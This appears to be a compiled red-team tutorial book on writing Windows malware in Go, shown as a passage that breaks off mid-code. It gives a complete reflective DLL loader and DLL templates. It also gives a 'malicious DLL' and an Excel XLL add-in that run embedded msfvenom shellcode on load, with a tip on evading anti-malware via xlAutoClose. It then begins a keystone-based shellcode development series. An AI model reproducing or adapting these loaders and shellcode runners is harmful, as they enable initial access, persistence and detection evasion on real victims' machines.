<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FetoHYx20fo0vnhRacAUN%2Fimage.png?alt=media&amp;token=4bdba8e0-7650-433a-963c-01b9baf4f13b" alt=""><figcaption><p>DLL executed successfully </p></figcaption></figure>

## Complete Code

```go
package main

import (
	"encoding/binary"
	"fmt"
	"log"
	"os"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

type IMAGE_NT_HEADERS64 struct {
	Signature      uint32
	FileHeader     IMAGE_FILE_HEADER
	OptionalHeader IMAGE_OPTIONAL_HEADER64
}

// IMAGE_OPTIONAL_HEADER64 represents the optional header for 64-bit architecture.
type IMAGE_OPTIONAL_HEADER64 struct {
	Magic                       uint16
	MajorLinkerVersion          uint8
	MinorLinkerVersion          uint8
	SizeOfCode                  uint32
	SizeOfInitializedData       uint32
	SizeOfUninitializedData     uint32
	AddressOfEntryPoint         uint32
	BaseOfCode                  uint32
	ImageBase                   uint64
	SectionAlignment            uint32
	FileAlignment               uint32
	MajorOperatingSystemVersion uint16
	MinorOperatingSystemVersion uint16
	MajorImageVersion           uint16
	MinorImageVersion           uint16
	MajorSubsystemVersion       uint16
	MinorSubsystemVersion       uint16
	Win32VersionValue           uint32
	SizeOfImage                 uint32
	SizeOfHeaders               uint32
	CheckSum                    uint32
	Subsystem                   uint16
	DllCharacteristics          uint16
	SizeOfStackReserve          uint64
	SizeOfStackCommit           uint64
	SizeOfHeapReserve           uint64
	SizeOfHeapCommit            uint64
	LoaderFlags                 uint32
	NumberOfRvaAndSizes         uint32

	DataDirectory [16]IMAGE_DATA_DIRECTORY
}

// IMAGE_DATA_DIRECTORY represents a data directory entry.
type IMAGE_DATA_DIRECTORY struct {
	VirtualAddress uint32
	Size           uint32
}

// IMAGE_FILE_HEADER represents the file header in the IMAGE_NT_HEADERS structure.
type IMAGE_FILE_HEADER struct {
	Machine              uint16
	NumberOfSections     uint16
	TimeDateStamp        uint32
	PointerToSymbolTable uint32
	NumberOfSymbols      uint32
	SizeOfOptionalHeader uint16
	Characteristics      uint16
}

type IMAGE_SECTION_HEADER struct {
	Name                 [8]byte
	VirtualSize          uint32
	VirtualAddress       uint32
	SizeOfRawData        uint32
	PointerToRawData     uint32
	PointerToRelocations uint32
	PointerToLinenumbers uint32
	NumberOfRelocations  uint16
	NumberOfLinenumbers  uint16
	Characteristics      uint32
}

type BASE_RELOCATION_BLOCK struct {
	PageAddress uint32
	BlockSize   uint32
}

// BASE_RELOCATION_ENTRY represents the base relocation entry structure
type BASE_RELOCATION_ENTRY struct {
	OffsetType uint16 // Combined field for Offset and Type
}

// Offset extracts the Offset from the combined field
func (bre BASE_RELOCATION_ENTRY) Offset() uint16 {
	return bre.OffsetType & 0xFFF
}

// Type extracts the Type from the combined field
func (bre BASE_RELOCATION_ENTRY) Type() uint16 {
	return (bre.OffsetType >> 12) & 0xF
}

type IMAGE_IMPORT_DESCRIPTOR struct {
	Characteristics uint32
	TimeDateStamp   uint32
	ForwarderChain  uint32
	Name            uint32
	FirstThunk      uint32
}

func uintptrToBytes(ptr uintptr) []byte {
	// Create a pointer to the uintptr value
	ptrPtr := unsafe.Pointer(&ptr)

	// Convert the pointer to a byte slice
	byteSlice := make([]byte, unsafe.Sizeof(ptr))
	for i := 0; i < int(unsafe.Sizeof(ptr)); i++ {
		byteSlice[i] = *(*byte)(unsafe.Pointer(uintptr(ptrPtr) + uintptr(i)))
	}

	return byteSlice
}

const (
	IMAGE_DIRECTORY_ENTRY_IMPORT    = 0x1
	IMAGE_DIRECTORY_ENTRY_BASERELOC = 0x5
	DLL_PROCESS_ATTACH              = 0x1
)

func main() {
	fmt.Println()
	dllBytes, err := os.ReadFile("mydll.dll")
	if err != nil {
		log.Fatalf("Failed to open file %v", err)
	}
	dllPtr := uintptr(unsafe.Pointer(&dllBytes[0]))

	fmt.Printf("[+] DLL of size %d is loaded in memory at 0x%x\n", len(dllBytes), dllPtr)

	e_lfanew := *((*uint32)(unsafe.Pointer(dllPtr + 0x3c)))
	nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(dllPtr + uintptr(e_lfanew)))

	dllBase, err := windows.VirtualAlloc(uintptr(nt_header.OptionalHeader.ImageBase),
		uintptr(nt_header.OptionalHeader.SizeOfImage),
		windows.MEM_RESERVE|windows.MEM_COMMIT,
		windows.PAGE_EXECUTE_READWRITE,
	)
	if err != nil {
		log.Fatalf("[!] VirtualAlloc Failed")
	}

	fmt.Printf("[+] Allocated address at 0x%x\n\n", dllBase)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase, &dllBytes[0], uintptr(nt_header.OptionalHeader.SizeOfHeaders), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[!] WriteProcessMemory Failed")
	}
	numberOfSections := int(nt_header.FileHeader.NumberOfSections)

	var sectionAddr uintptr
	sectionAddr = dllPtr + uintptr(e_lfanew) + unsafe.Sizeof(nt_header.Signature) + unsafe.Sizeof(nt_header.OptionalHeader) + unsafe.Sizeof(nt_header.FileHeader)


	for i := 0; i < numberOfSections; i++ {
		section := (*IMAGE_SECTION_HEADER)(unsafe.Pointer(sectionAddr))
		sectionDestination := dllBase + uintptr(section.VirtualAddress)
		sectionBytes := (*byte)(unsafe.Pointer(dllPtr + uintptr(section.PointerToRawData)))
		fmt.Printf("[+] Copying %d bytes from 0x%x -> 0x%x for section : %s", section.SizeOfRawData, dllPtr+uintptr(section.PointerToRawData), sectionDestination, windows.ByteSliceToString(section.Name[:]))

		err = windows.WriteProcessMemory(windows.CurrentProcess(), sectionDestination, sectionBytes, uintptr(section.SizeOfRawData), &numberOfBytesWritten)
		if err != nil {
			log.Fatalf("[!] WriteProcessMemory Failed: %v \n", err)
		}

		fmt.Printf("	... Bytes 0x%x/0x%x Written\n", section.SizeOfRawData, numberOfBytesWritten)
		if windows.ByteSliceToString(section.Name[:]) == ".text" {
			var oldprotect uint32
			err := windows.VirtualProtect(sectionDestination, uintptr(section.SizeOfRawData), windows.PAGE_EXECUTE_READ, &oldprotect)
			if err != nil {
				log.Fatalln("[ERROR] Failed to change memory permissions")
			}
		}
		sectionAddr += unsafe.Sizeof(*section)
	}
	fmt.Println()

	relocations := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
	relocation_table := uintptr(relocations.VirtualAddress) + dllBase
	fmt.Printf("[+] Relocation table Address: 0x%x\n\n", relocation_table)

	var relocations_processed int = 0
	deltaImageBase := dllBase - uintptr(nt_header.OptionalHeader.ImageBase)

	for {

		relocation_block := *(*BASE_RELOCATION_BLOCK)(unsafe.Pointer(uintptr(relocation_table + uintptr(relocations_processed))))
		relocEntry := relocation_table + uintptr(relocations_processed) + 8
		if relocation_block.BlockSize == 0 && relocation_block.PageAddress == 0 {
			break
		}
		relocationsCount := (relocation_block.BlockSize - 8) / 2
		fmt.Printf("[+] PAGERVA : 0x%04x   Size: 0x%02x Entries Count: 0x%02x\n", relocation_block.PageAddress, relocation_block.BlockSize, relocationsCount)

		relocationEntries := make([]BASE_RELOCATION_ENTRY, relocationsCount)

		for i := 0; i < int(relocationsCount); i++ {
			relocationEntries[i] = *(*BASE_RELOCATION_ENTRY)(unsafe.Pointer(relocEntry + uintptr(i*2)))
		}
		for _, relocationEntry := range relocationEntries {
			if relocationEntry.Type() == 0 {
				continue
			}
			fmt.Printf("	--> Value: %X	Offset: %x\n", relocationEntry.OffsetType, relocationEntry.Offset())
			var size uintptr
			byteSlice := make([]byte, unsafe.Sizeof(size))
			relocationRVA := relocation_block.PageAddress + uint32(relocationEntry.Offset())

			err = windows.ReadProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &byteSlice[0], unsafe.Sizeof(size), nil)
			if err != nil {
				log.Fatalf("[ERROR] Failed to ReadProcessMemory")
			}
			addressToPatch := uintptr(binary.LittleEndian.Uint64(byteSlice))
			addressToPatch += deltaImageBase
			a2Patch := uintptrToBytes(addressToPatch)
			err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &a2Patch[0], uintptr(len(a2Patch)), nil)
			if err != nil {
				log.Fatalf("[ERROR] Failed to WriteProcessMemory")
			}

		}
		relocations_processed += int(relocation_block.BlockSize)

	}
	//time.Sleep(10 * time.Second)

	importsDirectory := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
	importDescriptorAddr := dllBase + uintptr(importsDirectory.VirtualAddress)
	fmt.Printf("[+] Import Descripton address: 0x%x\n\n", importDescriptorAddr)

	for {
		importDescriptor := *(*IMAGE_IMPORT_DESCRIPTOR)(unsafe.Pointer(importDescriptorAddr))
		if importDescriptor.Name == 0 {
			break
		}
		libraryName := uintptr(importDescriptor.Name) + dllBase
		dllName := windows.BytePtrToString((*byte)(unsafe.Pointer(libraryName)))
		fmt.Printf("[+] Importing DLL : %s\n", dllName)
		hLibrary, err := windows.LoadLibrary(dllName)
		if err != nil {
			log.Fatalln("[ERROR] LoadLibrary Failed")
		}
		addr := dllBase + uintptr(importDescriptor.FirstThunk)
		//char := dllBase + uintptr(importDescriptor.Characteristics)
		//fmt.Printf("First Thunk: 0%x\n", addr)
		//fmt.Printf("Chars: 0%x\n", char)
		for {
			thunk := *(*uint16)(unsafe.Pointer(addr))
			if thunk == 0 {
				break
			}
			functionNameAddr := dllBase + uintptr(thunk+2)

			functionName := windows.BytePtrToString((*byte)(unsafe.Pointer(functionNameAddr)))
			proc, err := windows.GetProcAddress(hLibrary, functionName)
			if err != nil {
				log.Fatalln("[ERROR] Failed to GetProcAddress")
			}
			fmt.Printf("	--> Importing Function %s -> Addr: 0x%x\n", functionName, proc)
			procBytes := uintptrToBytes(proc)
			// https://reverseengineering.stackexchange.com/questions/16870/import-table-vs-import-address-table
			var numberOfBytesWritten uintptr
			err = windows.WriteProcessMemory(windows.CurrentProcess(), addr, &procBytes[0], uintptr(len(procBytes)), &numberOfBytesWritten)
			if err != nil {
				log.Fatalln("[ERROR] Failed to WriteProcessMemory")
			}
			addr += 0x8

		}
		importDescriptorAddr += 0x14
	}
	//fmt.Printf("BreakPoint %x", dllBase+0x1251)
	//time.Sleep(time.Second * 10)
	syscall.SyscallN(dllBase+uintptr(nt_header.OptionalHeader.AddressOfEntryPoint), dllBase, DLL_PROCESS_ATTACH, 0)
	fmt.Println("[+] DLL function executed")
	err = windows.VirtualFree(dllBase, 0x0, windows.MEM_RELEASE)
	if err != nil {
		log.Fatalln("[ERROR] Failed to Free Memory")
	}
	fmt.Printf("[+] Freed Memory at 0x%x\n", dllBase)

}

```

## References

\[1] <https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection>

\[2] <https://blog.malicious.group/writing-your-own-rdi-srdi-loader-using-c-and-asm>

\[3] <https://0xrick.github.io/categories/#win-internals>

\[4] <https://github.com/scriptchildie/goDLLrefletiveloader>


# Payloads

In monitored environments it is very difficult to deliver and run an exe executable without being detected, whether that's for initial access or persistence. For years the easiest way to gain initial access was done though Microsoft Office Macros. Microsoft however recently announced that internet macros are [disabled by default](https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked). That forced red teams to explore alternative methods.&#x20;

In order to achieve code execution red teams now heavily rely on some sort of dll. A few examples are the office plugins such as xll, wll or .node files that are used for persistence on electron apps such as MS Teams, VS Code etc.

In the following sections we will explore how can we build a DLL using Golang to achieve code execution and a few variants of that. &#x20;


# 1. Basic DLL using Golang

\#golang #maldev #malwaredevelopment #persistence

[A DLL is a library](https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library) that contains code and data that can be used by more than one program at the same time. For example, in Windows operating systems, the Comdlg32 DLL performs common dialog box related functions. Each program can use the functionality that is contained in this DLL to implement an Open dialog box. It helps promote code reuse and efficient memory usage.

Let's dive on how we can program and compile a dll in Golang.

## DLL Template in C

In C++ a [skeleton DLL](https://raw.githubusercontent.com/FuzzySecurity/DLL-Template/master/DLL-Template/Dll-Template.cpp) template looks like this: &#x20;

{% code lineNumbers="true" %}

```cpp
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>


BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		MessageBox(NULL, L"DllMain loaded", L"Success", 0);
	case DLL_PROCESS_DETACH:
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	}
	return TRUE;
}

extern "C" __declspec(dllexport) BOOL test() {
	MessageBox(NULL, L"Exported test() function loaded", L"Success", 0);

	return TRUE;
}
```

{% endcode %}

There are a few things happening here. In the DllMain function there is a case switch where code execution happens when the dll is attached, detached on both process and thread. We cannot recreate DllMain inGolang, but we have alternatives.

On line 22 a function named test() is exported.&#x20;

Windows comes with a tool for testing dlls called rundll32.exe. To run an exported dll function the following code can be used:

```
rundll32.exe <DLL PATH>,<DLL Entry Point>
```

Although we cannot recreate a like for like dll from c using Golang let's try recreate the above functionality.&#x20;

## DLL Template in Golang

### Golang Code:

{% code lineNumbers="true" %}

```go
package main

import "C" // Cgo is required to compile a dll
import "golang.org/x/sys/windows"

// This code will execute before any other function executes
func init() {
	windows.MessageBox(
		windows.HWND(0),
		windows.StringToUTF16Ptr("init loaded"),
		windows.StringToUTF16Ptr("Success"),
		0x0,
	)
}

//Exported functions should have the following comment right before the function
//export Test
func Test() {
	windows.MessageBox(
		windows.HWND(0),
		windows.StringToUTF16Ptr("Exported test() function loaded"),
		windows.StringToUTF16Ptr("Success"),
		0x0,
	)
}

// doesn't really do anything but it's needed to compile
func main() {

}

```

{% endcode %}

#### Line 3, CGO:

import "C" / cgo is required to compile a dll in go

#### Line 7, init():

In Go, the init function is a special function that can be defined in a package. The init function is not called explicitly; instead, it is automatically called by the Go runtime before the exported function of the program.

#### Line 17, Exported function:

All exported functions should be proceeded with the following comment:

`//export <func name>`

#### Line 28, main()

It's only required for the code to compile

### Compiling the DLL

In order to compile the code Cgo should be installed on the PC. Here is a [setup guide](https://subscription.packtpub.com/book/programming/9781789138412/app01/app01lvl1sec95/setting-up-cgo).

`go build -buildmode=c-shared -o test.dll`

### Executing the dll using rundll32

Since our dll doesnt have a main function, we have to specify the function. In our code we exported the Test function so that's what we will run.&#x20;

`rundll32.exe .\test.dll, Test`

After running the dll function Test, 2 messageboxes will show up. Firstly the one defined in the init() function and then the one from the Test() function.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FPWhPiIexbYAtQj3Ftrfq%2Fimage.png?alt=media&amp;token=12848549-7a67-475a-9822-a6b1d36adc29" alt=""><figcaption><p>init function messagebox shows up first</p></figcaption></figure>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FgvcUc3UiFyyX1ybg5N50%2Fimage.png?alt=media&amp;token=ae2764e5-dc5f-4b13-ad1e-acde173a43fb" alt=""><figcaption><p>and then the test() messagebox pops</p></figcaption></figure>

We now have all the knowledge we need to generate a [malicious dll](/payloads/payloads/2.-malicious-dll-using-golang).

## Complete Code

```go
package main

import "C" // Cgo is required to compile a dll
import "golang.org/x/sys/windows"

// This code will execute before any other function executes
func init() {
	windows.MessageBox(
		windows.HWND(0),
		windows.StringToUTF16Ptr("init loaded"),
		windows.StringToUTF16Ptr("Success"),
		0x0,
	)
}

//Exported functions should have the following comment right before the function
//export Test
func Test() {
	windows.MessageBox(
		windows.HWND(0),
		windows.StringToUTF16Ptr("Exported test() function loaded"),
		windows.StringToUTF16Ptr("Success"),
		0x0,
	)
}

// doesn't really do anything but it's needed to compile
func main() {

}

```


# 2. Malicious DLL using Golang

\#golang #maldev #malwaredevelopment #persistence #shellcoderunner

Armed with the knowledge of creating a [shellcode runner](/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) and [creating a basic dll](/payloads/payloads/1.-basic-dll-using-golang) we can now go ahead and create a shellcode running dll.&#x20;

The only difference between the basic dll and  the malicious dll is the exported function. We copy-pasted the code from the shellcode runner in a new exported function called shrun().&#x20;

When we execute the dll we get the initial pop up from the init function.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FndnuqkQ51nLAif6bozpf%2Fimage.png?alt=media&amp;token=789f3999-ecc8-431c-b7aa-3146012b8b69" alt=""><figcaption><p>Init function messagebox</p></figcaption></figure>

Once we click OK, the calculator from our shellcode pops up.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F9wjRDCp3npTxPx4a01AE%2Fimage.png?alt=media&amp;token=bda839b7-98c2-468f-b372-6d890dc9e5d0" alt=""><figcaption><p>Calculator pop up</p></figcaption></figure>

Complete Code:

```go
package main

import "C" // Cgo is required to compile a dll
import (
	"encoding/hex"
	"fmt"
	"log"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

// This code will execute before any other function executes
func init() {
	windows.MessageBox(
		windows.HWND(0),
		windows.StringToUTF16Ptr("Shellcode Runner"),
		windows.StringToUTF16Ptr("After clicking OK the shellcode will run"),
		0x0,
	)
}

// Exported functions should have the following comment right before the function
//
//export shrun
func shrun() {
	//msfvenom  -f hex -p windows/x64/exec cmd=calc
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	fmt.Println("[+] Allocating memory for shellcode")
	addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
	if err != nil {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", err)
	}
	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	fmt.Println("[+] Wrote shellcode bytes to destination address")

	fmt.Println("[+] Changing Permissions to RX")
	var oldProtect uint32
	err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procCreateThread := modKernel32.NewProc("CreateThread")
	tHandle, _, lastErr := procCreateThread.Call(
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(0))

	if tHandle == 0 {
		log.Fatalf("Unable to Create Thread: %v\n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  %x \n", tHandle)
	windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}

// doesn't really do anything but it's needed to compile
func main() {

}

```


# 3. Malicious XLL using Golang

\#golang #maldev #malwaredevelopment #persistence #shellcoderunner #excelplugin #xll

## Introduction

[The primary reason for writing Microsoft Excel XLLs](https://learn.microsoft.com/en-us/office/client-developer/excel/developing-excel-xlls) and using the C API is to create high-performance worksheet functions. The applications of high-performance functions—and, starting in Excel 2007, the ability to write multithreaded interfaces to powerful server resources—make it a very important part of Excel extensibility. The performance of XLLs was further enhanced in Excel 2007 by the addition of new data types and, most important, support for multithreading.

## [Turning DLLs into XLLs: Add-in Manager Interface Functions](https://learn.microsoft.com/en-us/office/client-developer/excel/creating-xlls#turning-dlls-into-xlls-add-in-manager-interface-functions)

To create an XLL (from a DLL) we need to have as a minimum an to export the xlAutoOpen function. Excel calls the [xlAutoOpen](https://learn.microsoft.com/en-us/office/client-developer/excel/xlautoopen) function whenever the XLL is activated. The add-in will be activated at the start of an Excel session if it was active in the last Excel session that ended normally. The add-in is activated if it is loaded during an Excel session. The add-in can be deactivated and reactivated during an Excel session, and the function is called on reactivation.

That's a good place to add our shellcode running code, although we don't have to. We might be able to bypass anti-malware engines by inserting our code in the xlAutoClose function.&#x20;

We take the code from the [Malicious dll](/payloads/payloads/2.-malicious-dll-using-golang) and modify the shrun function to xlAutoOpen and rename the compiled dll to xll.&#x20;

So we execute the code using&#x20;

`go build -buildmode=c-shared -o maliciousxll.xll`

Double clicking on the xll opens excel:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fp8dE0rJRMyIzyzVfR7vf%2Fimage.png?alt=media&amp;token=b1b8a5df-aea6-4439-b9cc-071fb39c559e" alt=""><figcaption><p>messagebox from init function in EXCEL</p></figcaption></figure>

We then see the calculator pop up

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FNi6Y1gamu6ByLEGOqsBN%2Fimage.png?alt=media&amp;token=bd815f26-de1a-4671-b84f-3818e3fc4a8a" alt=""><figcaption><p>Calculator from the xll</p></figcaption></figure>

{% hint style="info" %}
If we are targeting the 32-bit version of office we should use a 32-bit shellcode and compile the dll as a 32-bit dll.
{% endhint %}

## Complete Code

```go
package main

import "C" // Cgo is required to compile a dll
import (
	"encoding/hex"
	"fmt"
	"log"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

// This code will execute before any other function executes
func init() {
	windows.MessageBox(
		windows.HWND(0),
		windows.StringToUTF16Ptr("Shellcode Runner"),
		windows.StringToUTF16Ptr("Hello from EXCEL!"),
		0x0,
	)
}

// Exported functions should have the following comment right before the function
//
//export xlAutoOpen
func xlAutoOpen() {
	//msfvenom  -f hex -p windows/x64/exec cmd=calc
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	fmt.Println("[+] Allocating memory for shellcode")
	addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
	if err != nil {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", err)
	}
	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	fmt.Println("[+] Wrote shellcode bytes to destination address")

	fmt.Println("[+] Changing Permissions to RX")
	var oldProtect uint32
	err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procCreateThread := modKernel32.NewProc("CreateThread")
	tHandle, _, lastErr := procCreateThread.Call(
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(0))

	if tHandle == 0 {
		log.Fatalf("Unable to Create Thread: %v\n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  %x \n", tHandle)
	windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}

// doesn't really do anything but it's needed to compile
func main() {

}

```


# Shellcode development

\#golang #shellcode #x64 #windows #srdi

In this blog series I will describe how I go about developing windows x64 shellcode using golang and the keystone engine (without cgo). After setting up an the initial environment I will go through the development process to create a dll reflective loader in x64 assembly.


# 1. Keystone Engine

\#keystone-engine #assembler #golang-bindings

## Keystone Engine

From the [official website](https://www.keystone-engine.org/) this is how keystone is described:

*Keystone is a lightweight multi-platform, multi-architecture assembler framework.*

*Highlight features:*

* *Multi-architecture, with support for Arm, Arm64 (AArch64/Armv8), Ethereum Virtual Machine, Hexagon, Mips, PowerPC, Sparc, SystemZ, & X86 (include 16/32/64bit).*
* *Clean/simple/lightweight/intuitive architecture-neutral API.*
* *Implemented in C/C++ languages, with bindings for Java, Masm, Visual Basic, C#, PowerShell, Perl, Python, NodeJS, Ruby, Go, Rust, Haskell & OCaml available.*
* *Native support for Windows & \*nix (with Mac OSX, Linux, \*BSD & Solaris confirmed).*
* *Thread-safe by design.*
* *Open source.*

*Keystone is based on* [*LLVM*](http://www.llvm.org/)*, but it goes much further with* [*a lot more to offer*](https://www.keystone-engine.org/docs/beyond_llvm.html)*.*\
\
*Find in this* [*Blackhat USA 2016 slides*](https://www.keystone-engine.org/docs/BHUSA2016-keystone.pdf) *more technical details behind our assembler engine.*

## Keystone with GoLang

A package with go bindings is provided [here](https://pkg.go.dev/github.com/keystone-engine/keystone/bindings/go) but unfortunately it requires cgo to compile. I love both go and c but cgo is appalling in my opinion.  Thankfully the keystone engine provides a DLL we can use. The caveat when using the dll is that it will only run on windows.

If you need to run keystone on linux it's probably easier to use python instead (or cgo).

## Documentation

There is no real documentation for the framework. A few examples can be found [here](https://www.keystone-engine.org/docs/tutorial.html) and some on their [github page](https://github.com/keystone-engine/keystone/blob/master/bindings/go/keystone/samples/main.go).&#x20;

What I found useful is to download the Windows-Core Engine from [here](https://www.keystone-engine.org/download/) (it includes the precompiled dll).&#x20;

{% hint style="info" %}
Make sure to download the dll for the right architecture.
{% endhint %}

In the 'includes' folder the `keystone.h` file can be found with descriptions of the exported functions and how the framework should be used. A sample from the header is shown below:

```cpp
/*
 Assemble a string given its the buffer, size, start address and number
 of instructions to be decoded.
 This API dynamically allocate memory to contain assembled instruction.
 Resulted array of bytes containing the machine code  is put into @*encoding

 NOTE 1: this API will automatically determine memory needed to contain
 output bytes in *encoding.

 NOTE 2: caller must free the allocated memory itself to avoid memory leaking.

 @ks: handle returned by ks_open()
 @str: NULL-terminated assembly string. Use ; or \n to separate statements.
 @address: address of the first assembly instruction, or 0 to ignore.
 @encoding: array of bytes containing encoding of input assembly string.
	   NOTE: *encoding will be allocated by this function, and should be freed
	   with ks_free() function.
 @encoding_size: size of *encoding
 @stat_count: number of statements successfully processed

 @return: 0 on success, or -1 on failure.

 On failure, call ks_errno() for error code.
*/
KEYSTONE_EXPORT
int ks_asm(ks_engine *ks,
        const char *string,
        uint64_t address,
        unsigned char **encoding, size_t *encoding_size,
        size_t *stat_count);
```

## Golang Implementation

Up until now I only needed to develop 32 and 64bit  shellcode for x86 architecture, so I will not bother adding extra constants for arm etc.&#x20;

Also I am not planning to implement this as part of a large project so I will not implement functions such as ks\_free() that frees memory.&#x20;

## Keystone functions

The following functions will be implemented:

* ks\_open (creates a new instance of keystone)&#x20;
* ks\_asm (it receives the assembly string and returns the assembly equivalent bytes)

Let's dive into it.&#x20;

## Code

Firstly we need to download the dll from [here](https://www.keystone-engine.org/download/) and include it in our current working path. We then import the dll using  LoadLibrary from the windows package.&#x20;

```go

	fmt.Println("[+] Loading keystone.dll")
	hModule, err := windows.LoadLibrary("keystone.dll")
	if err != nil {
		return []byte{}, fmt.Errorf("Failed to load Libray\n")
	}
```

{% hint style="info" %}
If the dll is in a different directory make sure to include the absolute path.
{% endhint %}

As mentioned previously from the exported functions we will only use ks\_open and ks\_asm. Using  GetProcAddress from the windows package we can get the functions' addresses.

```go
	fmt.Println("[+] Getting function addresses")
	ks_open_proc, err := windows.GetProcAddress(hModule, "ks_open")
	if err != nil {
		return []byte{}, fmt.Errorf("Failed to get address for ks_open\n")
	}
	ks_asm_proc, err := windows.GetProcAddress(hModule, "ks_asm")
	if err != nil {
		return []byte{}, fmt.Errorf("Failed to get address for ks_asm\n")

	}
```

### ks\_open() function&#x20;

```cpp
/*
 Create new instance of Keystone engine.

 @arch: architecture type (KS_ARCH_*)
 @mode: hardware mode. This is combined of KS_MODE_*
 @ks: pointer to ks_engine, which will be updated at return time

 @return KS_ERR_OK on success, or other value on failure (refer to ks_err enum
   for detailed error).
*/
KEYSTONE_EXPORT
ks_err ks_open(ks_arch arch, int mode, ks_engine **ks);
```

As we can see from the above definition in the keystone header we need to define the architecture, mode and provide a pointer of the location where our session handle will be stored.&#x20;

&#x20;The architecture constants are defined below&#x20;

```cpp
// Architecture type
typedef enum ks_arch {
    KS_ARCH_ARM = 1,    // ARM architecture (including Thumb, Thumb-2)
    KS_ARCH_ARM64,      // ARM-64, also called AArch64
    KS_ARCH_MIPS,       // Mips architecture
